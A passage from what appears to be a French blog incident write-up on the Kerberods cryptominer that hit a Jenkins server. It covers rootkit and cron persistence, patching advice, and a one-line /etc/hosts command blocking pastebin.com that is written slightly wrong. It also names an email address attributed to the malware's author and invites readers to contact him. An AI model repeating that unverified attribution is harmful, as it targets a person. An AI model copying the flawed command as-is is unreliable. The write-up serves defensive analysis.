S’il y arrive, il va alors cacher ses activités en patchant une librairie du système. Il ne sera plus visible lors qu’on énumérera les processus actifs. C’es le principe du rootkit.
S’il n’y arrive pas, il va installer un job cron pour la persistance.

Conclusion

Nous avons compris, analysé et décrypté le principe de l’attaque du serveur.

Ne vous inquiétez pas, l’incident a été rapidement traité et il n’y a pas eu de conséquences. Et les crédits AWS sont revenus ! Rassurés ?

Il faut savoir qu’il y a eu plusieurs campagnes d’attaques ces dernières semaines avec différentes variantes de Kerberods.
Elles touchent principalement les applications Jenkins.
Un patch correctif a été développé dans la version 2.154 (05-12-2018). Voir le changelog.

Voici ci dessous un schéma retraçant les différentes étapes de l’attaque.

Pour conclure, j’espère que vous aurez autant apprécié la lecture de cet article que moi à l’écrire.
Restez protégé et sortez couvert !

Take-away (et petit bonus)

Ne prenez jamais à la légère une attaque comme celle ci et formez vos équipes à la cyber-sécurité !
Et laissez l’analyse et la réponse à ce genre d’incident à des gens compétents.

Surtout n’oubliez pas de mettre à jour vos applications Jenkins; ainsi que tout votre système.
Vérifiez les crons qui tournent et analyser votre système avec des outils prévus pour cet effet.

Beaucoup de malwares utilisent pastebin.com pour délivrer leurs charges utiles. Dans le cas où l’utilisation de ce site n’est pas prévue de manière nominale pour le serveur, il peut être conseillé de bloquer tout le trafic depuis et vers ce site. C’est facilement réalisable avec cette commande sous linux:

echo -e "n0.0.0.0 pastebin.com " >> /etc/hosts

Cette commande bloque (redirige) tout le trafic à destination et en provenance de pastebin.com.

En bonus, des petits malins se sont amusés à faire des recherches sur l’auteur de ce malware en fouillant et en croisant les données publiques (Propriétaires des sites hébergeant les payloads, Whois DNS, récupération des identifiants dans le mineur kerberods, ..) et toutes les informations récoltées mènent à une unique adresse email : 4592248@qq.com
Si vous voulez lui passer le bonjour, n’hésitez pas à lui faire un petit coucou de ma part.

Au 08 Mai 2019, le montant récolté par cette attaque était l’équivalent de la somme astronomique de ….. 68$ (~ 61€). Wouahou !

En prime, l’identité du hacker chinois :

[ad_2]

Source link

Add a Comment

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *